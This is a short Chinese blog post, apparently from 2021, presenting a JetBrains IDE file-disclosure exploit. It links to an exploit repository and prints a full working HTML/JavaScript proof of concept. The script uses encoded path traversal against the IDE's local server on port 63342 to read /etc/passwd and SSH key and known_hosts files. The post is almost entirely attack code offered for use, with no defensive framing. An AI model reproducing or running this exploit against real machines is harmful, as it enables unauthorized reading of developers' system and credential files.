JetBrains IDE 远程代码执行和本地文件泄露研究

github链接

https://github.com/tangxiaofeng7/ide-exp

http://saynotolinux.com/tests/jetbrains/sleuth.html

<!DOCTYPE html>
<html>
<body>
<form >
    <select id="path" >
      <option value ="etc/passwd">etc/passwd</option>
      <option value =".ssh/id_rsa.pub">.ssh/id_rsa.pub</option>
            <option value =".ssh/known_hosts">.ssh/known_hosts</option>
    </select>
    <input onclick =tryTraverse(1)  type=button value="查看">
</form>
<br>
<pre id="passwd"></pre>
<script>

var output = document.getElementById("passwd");
var err = function() {
    output.textContent = "Couldn't traverse up to /etc/passwd?\n" + 
                         "Is the IDE bound to 63342? Is the " +
                         "'testing' project open?";
    return;
};

var tryTraverse = function (level) {

    if (level > 20) {
        return err();
    }

    var url = "http://127.0.0.1:63342/testing/";
    var subPath = "";

    for(var i=0; i<level; ++i) {
        subPath += "../";
    }
    var path = document.getElementById("path").value;

    subPath += path;

    subPath = subPath.replace(/\//g, "%2f");

    var xhr = new XMLHttpRequest();
    xhr.open("GET", url + subPath, true);
    xhr.timeout = 2000;
    xhr.responseType = "text";
    xhr.onload = function() {
        if (xhr.status == 200) {
            output.textContent = xhr.responseText;

        } else {
            tryTraverse(level + 1);
        }
    }
    xhr.onerror = err;
    xhr.ontimeout = err;
    xhr.send();
};
output.textContent = "running...";
</script>
</body>
</html>

posted @ 2021-08-14 17:28  唐小风  阅读(183)  评论(0)  编辑  收藏  举报